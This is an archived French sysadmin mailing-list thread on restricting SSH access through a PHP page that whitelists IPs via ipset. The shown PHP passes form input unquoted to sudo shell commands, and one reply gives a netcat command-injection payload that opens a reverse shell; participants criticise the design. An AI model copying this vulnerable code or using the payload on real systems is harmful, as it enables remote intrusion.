[FRsAG] Re: [SPAM] Filtrage de message au runtime

2024-05-02 Par sujet Ludovic Levet via FRsAG

Ben il suffit de prendre un peu de temps ...

Voila sans sudo :

Ton démon :

cat watch-iptrusted.sh

#!/bin/bash
watchdir=/var/www/monsite/data/
basedir=/var/www/monsite

while : ; do
 inotifywait $watchdir|while read path action file; do
  if [ ! -z "$file" ]; then
 echo "file : "$file
 if [ -a  $watchdir/addip.txt ]; then
  ip="$(cat $watchdir/$file)"
  [[ "$ip" =~ ^([0-9]{1,3}\.){3}[0-9]{1,3}$ ]] || { rm 
$watchdir/$file;break; }
  echo "ipset add trusted-ip "$ip >> 
/var/www/html/site/vpn/trusted-ip.sh

  ipset add trusted-ip $ip 2>&1
 elif [ -a  $watchdir/removeip.txt ]; then
  ip="$(cat $watchdir/$file)"
  [[ "$ip" =~ ^([0-9]{1,3}\.){3}[0-9]{1,3}$ ]] || { rm 
$watchdir/$file;break; }

  sed -i "/$ip$/d" /var/www/html/site/vpn/trusted-ip.sh
  ipset del trusted-ip $ip 2>&1
 elif [ -a  $watchdir/cleanip.txt ]; then
  echo "file2 : "$file
  > /var/www/html/site/vpn/trusted-ip2.sh
  ipset flush trusted-ip 2>&1
 fi
 rm $watchdir/$file
 ipset list trusted-ip > $basedir/current_trusted.txt
  fi
 done
done
exit 0

Ton script php :

cat index.php



IP Detection :
http://checkip.dyndns.org;
  target="popup"
onclick="window.open('http://checkip.dyndns.org/','popup','width=400,height=100'); 
return false;">

    Verify on checkip site


";
echo "";
echo "  IP address detected : ";
echo "  maxlength='15' size='15'>";

echo "  ";
echo "";
echo "";
echo "  IP address to remove : ";
echo "  maxlength='15' size='15'>";

echo "  ";
echo "";
if (isset($_POST['validation'])) {
   $ip = $_POST['fname'];
   file_put_contents('data/addip.txt', $ip);
   echo "$ip is trusted now";
}
if (isset($_POST['removing'])) {
   $ip = $_POST['fname'];
   file_put_contents('data/removeip.txt', $ip);
   echo "$ip is delete now";
}
if (isset($_POST['clean'])) {
   file_put_contents('data/cleanip.txt', '');
}
echo "";
sleep(1);
echo nl2br(file_get_contents("current_trusted.txt"));
echo "";
echo "";
echo "  ";
echo "";
?>
 
onClick="location.replace('index.php');">

 



Seul une ip dans le fichier fait réagir le démon puis le fichier est 
détruit.


Ludo.


Le 02/05/2024 à 18:30, Vincent Tondellier via FRsAG a écrit :

On jeudi 2 mai 2024 18 h 11 min 34 s CEST, Ludovic Levet via FRsAG wrote:
J'ai jamais dit que cela est parfait, mais je laisse pas un démon dès 
plus sensible ouvert à tout-va ...


sudo me semble pire ...

Après t'as plein d'autres solutions , comme passer par un VPN 
temporairement pour accéder a ton serveur et mettre ta règle iptable, 
ou via un shellinabox, ou un gacamole,  ou un wireguard, ou tout 
combiner ensemble ou...


Bref plein de choses possibles mais pas de sshd direct sur le net.


La sécurité d'un ensemble n'est pas pas la somme, mais le minimum de 
la sécurité de chaque pièce.


C'est certainement possible de faire quelque chose pour ajouter de la 
sécurité sans ouvrir de failles béantes, mais ce n'est pas le cas ici 
: script php troué, serveur troué ...


Vincent.





Le 02/05/2024 à 17:47, Vincent Tondellier via FRsAG a écrit :

Hello,

mod_security ou pas, il n'empêche que ce bout de code est un bon 
exemple de ce qu'il ne faut surtout pas faire.


Aucune validation des entrées, exécution de commandes a travers un 
shell et pas de quote des entrées, sudo depuis l'utilisateur 
www-data ...


https://xkcd.com/327/ version shell

Et la surface d'exposition devient apache + php + sh + sudo + ipset 
+ ssh au lieu d'un ssh bien audité, très peu pour moi. ...




___
Liste de diffusion du %(real_name)s
http://www.frsag.org/


--
-
Ce message inclut une signature numérique. Il certifie que l'expéditeur et le 
contenue du message sont authentiques.
Si votre logiciel de messagerie est compatible, Il doit garantir que le 
document n'a pas été altéré entre l'instant où
l'auteur l'a signé et le moment où le lecteur le consulte.
Loi n°2000-230 du 13 mars 2000 Art. 1316, 1316-1, 1316-2, 1316-3, 1316-4 du 
Code civil.
La présence d'un fichier joint 'smime.p7s' (fichier signature) indique que 
votre client messagerie n'est pas compatible.
-

___
Liste de diffusion du %(real_name)s
http://www.frsag.org/

[FRsAG] Re: Toc toc un support de chez Gandi ?

2024-05-02 Par sujet François Poulain
Coucou,

Le Fri, 15 Mar 2024 12:07:40 +0100,
François Poulain  a écrit :

> Bref ; on ne m'y reprendra pas.

Last but not least, décidé à changer de registrar (pour Gandi ... /o\),
j'ai eu le droit à 7 jours de délais d'acceptation du transfert.

François


-- 
François Poulain 


pgpk1SvwWLT7n.pgp
Description: Signature digitale OpenPGP
___
Liste de diffusion du %(real_name)s
http://www.frsag.org/

[FRsAG] Re: [SPAM] Filtrage de message au runtime

2024-05-02 Par sujet Vincent Tondellier via FRsAG

On jeudi 2 mai 2024 18 h 11 min 34 s CEST, Ludovic Levet via FRsAG wrote:
J'ai jamais dit que cela est parfait, mais je laisse pas un 
démon dès plus sensible ouvert à tout-va ...


sudo me semble pire ...

Après t'as plein d'autres solutions , comme passer par un VPN 
temporairement pour accéder a ton serveur et mettre ta règle 
iptable, ou via un shellinabox, ou un gacamole,  ou un 
wireguard, ou tout combiner ensemble ou...


Bref plein de choses possibles mais pas de sshd direct sur le net.


La sécurité d'un ensemble n'est pas pas la somme, mais le minimum de la 
sécurité de chaque pièce.


C'est certainement possible de faire quelque chose pour ajouter de la 
sécurité sans ouvrir de failles béantes, mais ce n'est pas le cas ici : 
script php troué, serveur troué ...


Vincent.





Le 02/05/2024 à 17:47, Vincent Tondellier via FRsAG a écrit :

Hello,

mod_security ou pas, il n'empêche que ce bout de code est un 
bon exemple de ce qu'il ne faut surtout pas faire.


Aucune validation des entrées, exécution de commandes a 
travers un shell et pas de quote des entrées, sudo depuis 
l'utilisateur www-data ...


https://xkcd.com/327/ version shell

Et la surface d'exposition devient apache + php + sh + sudo + 
ipset + ssh au lieu d'un ssh bien audité, très peu pour moi. 
...




___
Liste de diffusion du %(real_name)s
http://www.frsag.org/

[FRsAG] Re: [SPAM] Filtrage de message au runtime

2024-05-02 Par sujet Ludovic Levet via FRsAG
J'ai jamais dit que cela est parfait, mais je laisse pas un démon dès 
plus sensible ouvert à tout-va ...


Après ta plein d'autres solutions , comme passer par un VPN 
temporairement pour accéder a ton serveur et mettre ta règle iptable, ou 
via un shellinabox, ou un gacamole,  ou un wireguard, ou tout combiner 
ensemble ou...


Bref plein de choses possibles mais pas de sshd direct sur le net.


Le 02/05/2024 à 17:47, Vincent Tondellier via FRsAG a écrit :

Hello,

mod_security ou pas, il n'empêche que ce bout de code est un bon 
exemple de ce qu'il ne faut surtout pas faire.


Aucune validation des entrées, exécution de commandes a travers un 
shell et pas de quote des entrées, sudo depuis l'utilisateur www-data ...


https://xkcd.com/327/ version shell

Et la surface d'exposition devient apache + php + sh + sudo + ipset + 
ssh au lieu d'un ssh bien audité, très peu pour moi.


Vincent

On jeudi 2 mai 2024 17 h 16 min 03 s CEST, Ludovic Levet via FRsAG wrote:
Le minimum que l'on fait pour un serveur web frontal de ce type est 
de mettre en place le mod_security d'apache avec les customs rules 
qui vont bien ...


Et d'y ajouter le bon core rule set : 
https://github.com/coreruleset/coreruleset


J'ai quand même fait l'essai sans le mod_security et ta proposition 
ne fonctionne pas ...


Ce qui ne m’étonne pas car il y a la rule /etc/sudoers.d/httpd

Ludo.


Nop, ca marche pas.

Le 02/05/2024 à 06:45, Julien Reitzel a écrit :

Hello,

au vu du morceau de php indiqué, il suffit d'envoyer le formulaire 
avec :

; nc   -e /bin/bash

du côté attaquant lancer :
$ nc -lvp  ...


___
Liste de diffusion du %(real_name)s
http://www.frsag.org/


--
-
Ce message inclut une signature numérique. Il certifie que l'expéditeur et le 
contenue du message sont authentiques.
Si votre logiciel de messagerie est compatible, Il doit garantir que le 
document n'a pas été altéré entre l'instant où
l'auteur l'a signé et le moment où le lecteur le consulte.
Loi n°2000-230 du 13 mars 2000 Art. 1316, 1316-1, 1316-2, 1316-3, 1316-4 du 
Code civil.
La présence d'un fichier joint 'smime.p7s' (fichier signature) indique que 
votre client messagerie n'est pas compatible.
-

___
Liste de diffusion du %(real_name)s
http://www.frsag.org/

[FRsAG] Re: Filtrage de message au runtime

2024-05-02 Par sujet Ludovic Levet via FRsAG
Non, pas de problème. J'utilise aussi 2FA sur ssh. C'est une sécurité 
supplémentaire.



Le 02/05/2024 à 17:43, David Ponzone a écrit :

Totalement.

Par contre (j’insiste), je ne vois jamais aucune discussion sur l’usage du 
plugin 2FA Google avec openssh.
Y a des raisons de l’éviter ?

David


Le 2 mai 2024 à 17:37, Ludovic Levet via FRsAG  a écrit :

C'est pas faux. C'est jamais une bonne idée de donner des commandes accessible 
par apache.

Bon après, il y a la sécurité filesystem qui fera que ce user (apache) ai le 
même pourvoir qu'un user lamda sur ton linux et de plus les commandes ne 
peuvent être utilisées que par le core apache car le mod_security ne permet pas 
d'utilisé quoique ce soit.

Elle en aura fait du chemin cette petite chauves-souris. Et surtout sans 
déclencher le fail2ban (avec alertes qui vont biens) sur une url qui n'est 
censée être connu que par des admins.

Bref. Rien n'est malheureusement infaillible.


Le 01/05/2024 à 22:25, Paul Rolland (ポール・ロラン) a écrit :

Bonjour,

On Wed, 1 May 2024 21:33:42 +0200
Ludovic LEVET via FRsAG  wrote:


3) Bon ... (Mode Bigard On ..) En admettant que la chauves-souris elle
trouve le code de la porte , elle connaisse l’étage de ton appart et
qu'elle connaisse aussi ton numéro de porte ben elle ouvres son ip au
ssh et ben il lui reste plus qu'a attaquer l'auth ssh ...

Elle aura surement plus envie de regarder ce que le sudo sur echo et sed
peut lui permettre via apache et la page web ;)

Paul


___
Liste de diffusion du %(real_name)s
http://www.frsag.org/


--
-
Ce message inclut une signature numérique. Il certifie que l'expéditeur et le 
contenue du message sont authentiques.
Si votre logiciel de messagerie est compatible, Il doit garantir que le 
document n'a pas été altéré entre l'instant où
l'auteur l'a signé et le moment où le lecteur le consulte.
Loi n°2000-230 du 13 mars 2000 Art. 1316, 1316-1, 1316-2, 1316-3, 1316-4 du 
Code civil.
La présence d'un fichier joint 'smime.p7s' (fichier signature) indique que 
votre client messagerie n'est pas compatible.
-

___
Liste de diffusion du %(real_name)s
http://www.frsag.org/

[FRsAG] Re: [SPAM] Filtrage de message au runtime

2024-05-02 Par sujet Vincent Tondellier via FRsAG

Hello,

mod_security ou pas, il n'empêche que ce bout de code est un bon exemple de 
ce qu'il ne faut surtout pas faire.


Aucune validation des entrées, exécution de commandes a travers un shell et 
pas de quote des entrées, sudo depuis l'utilisateur www-data ...


https://xkcd.com/327/ version shell

Et la surface d'exposition devient apache + php + sh + sudo + ipset + ssh 
au lieu d'un ssh bien audité, très peu pour moi.


Vincent

On jeudi 2 mai 2024 17 h 16 min 03 s CEST, Ludovic Levet via FRsAG wrote:
Le minimum que l'on fait pour un serveur web frontal de ce type 
est de mettre en place le mod_security d'apache avec les customs 
rules qui vont bien ...


Et d'y ajouter le bon core rule set : 
https://github.com/coreruleset/coreruleset


J'ai quand même fait l'essai sans le mod_security et ta 
proposition ne fonctionne pas ...


Ce qui ne m’étonne pas car il y a la rule /etc/sudoers.d/httpd

Ludo.


Nop, ca marche pas.

Le 02/05/2024 à 06:45, Julien Reitzel a écrit :

Hello,

au vu du morceau de php indiqué, il suffit d'envoyer le formulaire avec :
; nc   -e /bin/bash

du côté attaquant lancer :
$ nc -lvp  ...


___
Liste de diffusion du %(real_name)s
http://www.frsag.org/

[FRsAG] [frsag.org] E-mail de réinitialisation de mot de passe

2024-05-02 Par sujet greg
Bonjour, c'est frsag.org !

You are receiving this e-mail because you or someone else has requested a
password for your user account. However, we do not have any record of a user
with email frsag@frsag.org in our database.

This mail can be safely ignored if you did not request a password reset.

If it was you, you can sign up for an account using the link below.

https://frsag.org/accounts/signup/

Merci d'utiliser frsag.org !
frsag.org
___
Liste de diffusion du %(real_name)s
http://www.frsag.org/

[FRsAG] Re: Filtrage de message au runtime

2024-05-02 Par sujet David Ponzone
Totalement.

Par contre (j’insiste), je ne vois jamais aucune discussion sur l’usage du 
plugin 2FA Google avec openssh.
Y a des raisons de l’éviter ?

David

> Le 2 mai 2024 à 17:37, Ludovic Levet via FRsAG  a écrit :
> 
> C'est pas faux. C'est jamais une bonne idée de donner des commandes 
> accessible par apache.
> 
> Bon après, il y a la sécurité filesystem qui fera que ce user (apache) ai le 
> même pourvoir qu'un user lamda sur ton linux et de plus les commandes ne 
> peuvent être utilisées que par le core apache car le mod_security ne permet 
> pas d'utilisé quoique ce soit.
> 
> Elle en aura fait du chemin cette petite chauves-souris. Et surtout sans 
> déclencher le fail2ban (avec alertes qui vont biens) sur une url qui n'est 
> censée être connu que par des admins.
> 
> Bref. Rien n'est malheureusement infaillible.
> 
> 
> Le 01/05/2024 à 22:25, Paul Rolland (ポール・ロラン) a écrit :
>> Bonjour,
>> 
>> On Wed, 1 May 2024 21:33:42 +0200
>> Ludovic LEVET via FRsAG  wrote:
>> 
>>> 3) Bon ... (Mode Bigard On ..) En admettant que la chauves-souris elle
>>> trouve le code de la porte , elle connaisse l’étage de ton appart et
>>> qu'elle connaisse aussi ton numéro de porte ben elle ouvres son ip au
>>> ssh et ben il lui reste plus qu'a attaquer l'auth ssh ...
>> Elle aura surement plus envie de regarder ce que le sudo sur echo et sed
>> peut lui permettre via apache et la page web ;)
>> 
>> Paul
>> 
> ___
> Liste de diffusion du %(real_name)s
> http://www.frsag.org/

___
Liste de diffusion du %(real_name)s
http://www.frsag.org/

[FRsAG] Re: Filtrage de message au runtime

2024-05-02 Par sujet Ludovic Levet via FRsAG
C'est pas faux. C'est jamais une bonne idée de donner des commandes 
accessible par apache.


Bon après, il y a la sécurité filesystem qui fera que ce user (apache) 
ai le même pourvoir qu'un user lamda sur ton linux et de plus les 
commandes ne peuvent être utilisées que par le core apache car le 
mod_security ne permet pas d'utilisé quoique ce soit.


Elle en aura fait du chemin cette petite chauves-souris. Et surtout sans 
déclencher le fail2ban (avec alertes qui vont biens) sur une url qui 
n'est censée être connu que par des admins.


Bref. Rien n'est malheureusement infaillible.


Le 01/05/2024 à 22:25, Paul Rolland (ポール・ロラン) a écrit :

Bonjour,

On Wed, 1 May 2024 21:33:42 +0200
Ludovic LEVET via FRsAG  wrote:


3) Bon ... (Mode Bigard On ..) En admettant que la chauves-souris elle
trouve le code de la porte , elle connaisse l’étage de ton appart et
qu'elle connaisse aussi ton numéro de porte ben elle ouvres son ip au
ssh et ben il lui reste plus qu'a attaquer l'auth ssh ...

Elle aura surement plus envie de regarder ce que le sudo sur echo et sed
peut lui permettre via apache et la page web ;)

Paul


___
Liste de diffusion du %(real_name)s
http://www.frsag.org/

[FRsAG] Re: [SPAM] Re: Filtrage de message au runtime

2024-05-02 Par sujet David Ponzone

> Le 2 mai 2024 à 17:16, Ludovic Levet via FRsAG  a écrit :
> 
> 
> Le minimum que l'on fait pour un serveur web frontal de ce type est de mettre 
> en place le mod_security d'apache avec les customs rules qui vont bien ...
> 
> Et d'y ajouter le bon core rule set : 
> https://github.com/coreruleset/coreruleset
> 
> J'ai quand même fait l'essai sans le mod_security et ta proposition ne 
> fonctionne pas ...
> 
> Ce qui ne m’étonne pas car il y a la rule /etc/sudoers.d/httpd
> 

C’est pas plutôt parce que la commande devient:
sudo ipset ……; nc ……

Donc le nc est lancé en dehors du sudo

David


___
Liste de diffusion du %(real_name)s
http://www.frsag.org/

[FRsAG] Re: [SPAM] Re: Filtrage de message au runtime

2024-05-02 Par sujet Stéphane Rivière

Sans troller...

Le minimum n'est-il pas de ne plus utiliser Apache (perfs totalement 
nazes + sécu non centralisée) ?


--
Stéphane Rivière
Ile d'Oléron - France

___
Liste de diffusion du %(real_name)s
http://www.frsag.org/

[FRsAG] Re: [SPAM] Re: Filtrage de message au runtime

2024-05-02 Par sujet Ludovic Levet via FRsAG


Le minimum que l'on fait pour un serveur web frontal de ce type est de 
mettre en place le mod_security d'apache avec les customs rules qui vont 
bien ...


Et d'y ajouter le bon core rule set : 
https://github.com/coreruleset/coreruleset


J'ai quand même fait l'essai sans le mod_security et ta proposition ne 
fonctionne pas ...


Ce qui ne m’étonne pas car il y a la rule /etc/sudoers.d/httpd

Ludo.


Nop, ca marche pas.

Le 02/05/2024 à 06:45, Julien Reitzel a écrit :

Hello,

au vu du morceau de php indiqué, il suffit d'envoyer le formulaire avec :
; nc   -e /bin/bash

du côté attaquant lancer :
$ nc -lvp 

Et voilà un reverse shell simpliste qui contourne l'auth ssh.



--
-
Ce message inclut une signature numérique. Il certifie que l'expéditeur et le 
contenue du message sont authentiques.
Si votre logiciel de messagerie est compatible, Il doit garantir que le 
document n'a pas été altéré entre l'instant où
l'auteur l'a signé et le moment où le lecteur le consulte.
Loi n°2000-230 du 13 mars 2000 Art. 1316, 1316-1, 1316-2, 1316-3, 1316-4 du 
Code civil.
La présence d'un fichier joint 'smime.p7s' (fichier signature) indique que 
votre client messagerie n'est pas compatible.
-

___
Liste de diffusion du %(real_name)s
http://www.frsag.org/

[FRsAG] Re: [SPAM] Re: [SPAM] Re: Filtrage de message au runtime

2024-05-02 Par sujet Laurent Barme


Le 02/05/2024 à 09:16, Luc Bégault via FRsAG a écrit :

il me parrait préférable de se reposer sur du code trés surveillé comme ssh

A propos, est-ce que la faille concernant lzma a été corrigée ?

Y a-t-il une meilleure source d'infirmation que 
https://bugs.debian.org/cgi-bin/bugreport.cgi?bug=1068024 ? Sur ce fil le 
dernier message date du 22 avril sans qu'il soit clair (du moins pour moi) que 
le problème soit résolu…

___
Liste de diffusion du %(real_name)s
http://www.frsag.org/

[FRsAG] Re: [SPAM] Re: Filtrage de message au runtime

2024-05-02 Par sujet Luc Bégault via FRsAG

Bonjour à tous,
dans tous les cas, il est nécessaire d'avoir un composant logiciel 
exposé au public, il me parrait préférable de se reposer sur du code 
trés surveillé comme ssh et sa partie authentification que sur un bout 
de php écrit en interne.
Sans présumer de la qualité des personnes développant le script, les 
tests de sécurité faits sur openssh seront trés difficiles à égaler.
Dernier point, un utilisateur apache ou www-data sudoer, ça me rappel de 
trés mauvais sauvenirs des années webmin.

Cordialement,
Luc.


On 02/05/2024 09:04, David Ponzone wrote:

Bien vu :)

D’une manière générale, je me demandais s’il y avait quelque chose de rationnel 
qui permettait d’estimer qu’un serveur HTTP avait moins de chance de comporter 
de trou de sécurité que openssh, et que donc il était plus sûr de se reposer 
sur Apache/Neginx plutôt que sur openssh avec clé publique+2FA.

David


Le 2 mai 2024 à 06:45, Julien Reitzel  a écrit :

Hello,

au vu du morceau de php indiqué, il suffit d'envoyer le formulaire avec :
; nc   -e /bin/bash

du côté attaquant lancer :
$ nc -lvp 

Et voilà un reverse shell simpliste qui contourne l'auth ssh.


--
Julien.

Le 01/05/2024 21:33, Ludovic LEVET via FRsAG a écrit :

Heu ...
Déjà :
1) Si tu as pas le vhost + url complete, ben t'arriveras déjà a rien ...
2) l'auth https + 2fa , oui pas de brute force dessus si configuré
correctement (max retry 3, fail2ban ... )...
3) Bon ... (Mode Bigard On ..) En admettant que la chauves-souris elle
trouve le code de la porte , elle connaisse l’étage de ton appart et
qu'elle connaisse aussi ton numéro de porte ben elle ouvres son ip au
ssh et ben il lui reste plus qu'a attaquer l'auth ssh ...
Bon courage a la chauves-souris ...
Ludo.
Le 01/05/2024 à 20:47, David Ponzone a écrit :

C’est pas une critique mais ça veut dire que tu fais plus confiance à l’auth 
HTTPS qu’à l’auth SSH ?
David

Le 1 mai 2024 à 20:34, Ludovic LEVET via FRsAG  a écrit :
Il ne faut jamais laisser le port ssh directement sur le net sans filtrage de 
la source  ...
Mettre en place par exemple un "site" web d'ouverture du/des ports.
Par exemple un vhost :
https://remoteadm.mydomain.com/server1/
Mise en place :
Créer un vhost sur le serveur (beaucoup mieux : créer un vhost sur un serveur 
tiers qui renvoie les requêtes par ProxyPass apres authentification)
Ce serveur est configuré pour donner l’accès à la ressource web par 
user/password + 2fa
Sur le serveur de destination (donc pas le frontal plus haut mais celui 
concerné par la demande d'ouverture de ports):
Dans /etc/rc.local (ou equivalent en service)
ipset create trusted-ip hash:net family inet
iptables -A INPUT -i eth0 -d x.x.x.x -m set --match-set trusted-ip src -p tcp 
-m multiport --dport 22,25 -j ACCEPT
iptables -A INPUT -i eth0 -d x.x.x.x -m state --state ESTABLISHED,RELATED -j 
ACCEPT
iptables -A INPUT -i eth0 -d x.x.x.x -p icmp -j ACCEPT
iptables -A INPUT -i eth0 -d x.x.x.x -j DROP
#Restoration des IPs autorisées au boot :
/var/www/dummy/trusted-ip.sh
cat /etc/sudoers.d/httpd
apache ALL=(ALL) NOPASSWD:/usr/sbin/ipset
apache ALL=(ALL) NOPASSWD:/usr/bin/echo
apache ALL=(ALL) NOPASSWD:/usr/bin/sed
exemple de la page index.php sur le serveur distant :
cat /var/www/vpn/index.php


IP Detection :
http://checkip.dyndns.org;
   target="popup"
onclick="window.open('http://checkip.dyndns.org/','popup','width=400,height=100'); 
return false;">
 Verify on checkip site


";
echo "";
echo "  IP address detected : ";
echo "  ";
echo "  ";
echo "";
echo "";
echo "  IP address to remove : ";
echo "  ";
echo "  ";
echo "";
if (isset($_POST['validation'])) {
$ip = $_POST['fname'];
$return = exec("sudo echo 'ipset add trusted-ip '$ip >> 
/var/www/dummy/trusted-ip.sh");
$return = exec("sudo ipset add trusted-ip $ip 2>&1");
echo "$ip is trusted now";
}
if (isset($_POST['removing'])) {
$ip = $_POST['fname'];
$return = exec("sudo sed -i '/$ip$/d' /var/www/dummy/trusted-ip.sh");
$return = exec("sudo ipset del trusted-ip $ip 2>&1");
echo "$ip is delete now";
}
if (isset($_POST['clean'])) {
$return = exec("sudo ipset flush trusted-ip 2>&1");
}
echo "";
$list = shell_exec("sudo ipset list trusted-ip");
echo nl2br($list);
echo "";
echo "";
echo "  ";
echo "";
?>
 

 


C'est juste un exemple que j’utilise depuis des années.
Le serveur frontal https gère les autorisations et renvoie la demande par ProxyPass 
au serveur concerné via la directive 
Un seul frontal suffit pour plusieurs serveurs :
Serveur 1 :
https://remoteadm.mydomain.com/serveur1/
Serveur 2 :
https://remoteadm.mydomain.com/serveur2/
...
Ludo.
Le 30/04/2024 à 15:34, Louis G. via FRsAG a écrit :

Filtrer les IP autorisées à se connecter, tout simplement ? :)
iptables -A INPUT -s 1.2.3.4/32 -p tcp --dport 22 -j ACCEPT
iptables -A INPUT -p tcp --dport 22 -j DROP

Mouarf, je suis pas fan. Si on autorise le télétravail (mais qui fait ça en 
2024 ? ), alors l’IP des admins est rarement fixe, donc ça impose de monter un 
VPN pour 

[FRsAG] Re: [SPAM] Re: Filtrage de message au runtime

2024-05-02 Par sujet David Ponzone
Bien vu :)

D’une manière générale, je me demandais s’il y avait quelque chose de rationnel 
qui permettait d’estimer qu’un serveur HTTP avait moins de chance de comporter 
de trou de sécurité que openssh, et que donc il était plus sûr de se reposer 
sur Apache/Neginx plutôt que sur openssh avec clé publique+2FA.

David

> Le 2 mai 2024 à 06:45, Julien Reitzel  a écrit :
> 
> Hello,
> 
> au vu du morceau de php indiqué, il suffit d'envoyer le formulaire avec :
> ; nc   -e /bin/bash
> 
> du côté attaquant lancer :
> $ nc -lvp 
> 
> Et voilà un reverse shell simpliste qui contourne l'auth ssh.
> 
> 
> -- 
> Julien.
> 
> Le 01/05/2024 21:33, Ludovic LEVET via FRsAG a écrit :
>> Heu ...
>> Déjà :
>> 1) Si tu as pas le vhost + url complete, ben t'arriveras déjà a rien ...
>> 2) l'auth https + 2fa , oui pas de brute force dessus si configuré
>> correctement (max retry 3, fail2ban ... )...
>> 3) Bon ... (Mode Bigard On ..) En admettant que la chauves-souris elle
>> trouve le code de la porte , elle connaisse l’étage de ton appart et
>> qu'elle connaisse aussi ton numéro de porte ben elle ouvres son ip au
>> ssh et ben il lui reste plus qu'a attaquer l'auth ssh ...
>> Bon courage a la chauves-souris ...
>> Ludo.
>> Le 01/05/2024 à 20:47, David Ponzone a écrit :
>>> C’est pas une critique mais ça veut dire que tu fais plus confiance à 
>>> l’auth HTTPS qu’à l’auth SSH ?
>>> David
 Le 1 mai 2024 à 20:34, Ludovic LEVET via FRsAG  a écrit :
 Il ne faut jamais laisser le port ssh directement sur le net sans filtrage 
 de la source  ...
 Mettre en place par exemple un "site" web d'ouverture du/des ports.
 Par exemple un vhost :
 https://remoteadm.mydomain.com/server1/
 Mise en place :
 Créer un vhost sur le serveur (beaucoup mieux : créer un vhost sur un 
 serveur tiers qui renvoie les requêtes par ProxyPass apres 
 authentification)
 Ce serveur est configuré pour donner l’accès à la ressource web par 
 user/password + 2fa
 Sur le serveur de destination (donc pas le frontal plus haut mais celui 
 concerné par la demande d'ouverture de ports):
 Dans /etc/rc.local (ou equivalent en service)
 ipset create trusted-ip hash:net family inet
 iptables -A INPUT -i eth0 -d x.x.x.x -m set --match-set trusted-ip src -p 
 tcp -m multiport --dport 22,25 -j ACCEPT
 iptables -A INPUT -i eth0 -d x.x.x.x -m state --state ESTABLISHED,RELATED 
 -j ACCEPT
 iptables -A INPUT -i eth0 -d x.x.x.x -p icmp -j ACCEPT
 iptables -A INPUT -i eth0 -d x.x.x.x -j DROP
 #Restoration des IPs autorisées au boot :
 /var/www/dummy/trusted-ip.sh
 cat /etc/sudoers.d/httpd
 apache ALL=(ALL) NOPASSWD:/usr/sbin/ipset
 apache ALL=(ALL) NOPASSWD:/usr/bin/echo
 apache ALL=(ALL) NOPASSWD:/usr/bin/sed
 exemple de la page index.php sur le serveur distant :
 cat /var/www/vpn/index.php
 
 
 IP Detection :
 http://checkip.dyndns.org;
   target="popup"
 onclick="window.open('http://checkip.dyndns.org/','popup','width=400,height=100');
  return false;">
 Verify on checkip site
 
 
 >>> $ip = $_SERVER['REMOTE_ADDR'];
 echo "";
 echo "";
 echo "  IP address detected : ";
 echo "  ";
 echo "  ";
 echo "";
 echo "";
 echo "  IP address to remove : ";
 echo "  ";
 echo "  ";
 echo "";
 if (isset($_POST['validation'])) {
$ip = $_POST['fname'];
$return = exec("sudo echo 'ipset add trusted-ip '$ip >> 
 /var/www/dummy/trusted-ip.sh");
$return = exec("sudo ipset add trusted-ip $ip 2>&1");
echo "$ip is trusted now";
 }
 if (isset($_POST['removing'])) {
$ip = $_POST['fname'];
$return = exec("sudo sed -i '/$ip$/d' /var/www/dummy/trusted-ip.sh");
$return = exec("sudo ipset del trusted-ip $ip 2>&1");
echo "$ip is delete now";
 }
 if (isset($_POST['clean'])) {
$return = exec("sudo ipset flush trusted-ip 2>&1");
 }
 echo "";
 $list = shell_exec("sudo ipset list trusted-ip");
 echo nl2br($list);
 echo "";
 echo "";
 echo "  ";
 echo "";
 ?>
  
 >>> onClick="location.replace('index.php');">
  
 
 
 C'est juste un exemple que j’utilise depuis des années.
 Le serveur frontal https gère les autorisations et renvoie la demande par 
 ProxyPass au serveur concerné via la directive 
 Un seul frontal suffit pour plusieurs serveurs :
 Serveur 1 :
 https://remoteadm.mydomain.com/serveur1/
 Serveur 2 :
 https://remoteadm.mydomain.com/serveur2/
 ...
 Ludo.
 Le 30/04/2024 à 15:34, Louis G. via FRsAG a écrit :
>> Filtrer les IP autorisées à se connecter, tout simplement ? :)
>> iptables -A INPUT -s 1.2.3.4/32 -p tcp --dport 22 -j ACCEPT
>> iptables -A INPUT -p tcp --dport 22 -j DROP
> Mouarf, je suis pas fan. Si on autorise le télétravail (mais qui fait ça 
> en 2024 ? ),